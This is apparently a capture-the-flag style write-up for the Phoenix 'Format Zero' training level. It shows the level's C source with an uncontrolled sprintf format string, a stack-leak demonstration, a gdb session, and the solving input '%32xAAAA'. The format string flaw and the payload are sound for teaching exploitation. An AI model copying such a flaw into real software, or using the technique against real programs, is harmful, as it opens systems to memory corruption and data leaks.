Phoenix - Format Zero
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
To learn about format string vulnerability see the references at the end.
This code uses sprintf function to write the formatted string buffer to dest.
The bug here is that if we entered a format string like %d without additional arguments (a number in this case) we could leak some values of the stack.
For example:
int main() {
printf("%x.%x.%x");
}
# output: d0a8b868 d0a8b878 3c43b1b0
As you can see we were able to leak some stack addresses.
Back to our level we must overflow dest to overwrite changeme but the buffer is too small for that so we can use the format string trick to solve this.
As you saw that one %x prints 8 characters so we can enter: (4 %x + value of changeme).
We can also just enter one %x with padding of 32 bytes like this: (%32x + value of changeme).
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/format-zero
Reading symbols from /opt/phoenix/amd64/format-zero...(no debugging symbols found)...done.
gef➤ disassemble main
Dump of assembler code for function main:
.....
0x0000000000400700 <+99>: mov eax,0x0
0x0000000000400705 <+104>: call 0x400500 <sprintf@plt>
0x000000000040070a <+109>: mov eax,DWORD PTR [rbp-0x10]
.....
gef➤ b *0x000000000040070a
Breakpoint 1 at 0x40070a
gef➤ r
Starting program: /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%32xAAAAAAAA
gef➤ x/5xg $rbp-0x30
0x7fffffffe620: 0x2020202020202020 0x2020202020202020
0x7fffffffe630: 0x2020202020202020 0x3031366566666666
0x7fffffffe640: 0x0000000a41414141
Solution:
$ echo "%32xAAAA" | /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
References:
http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html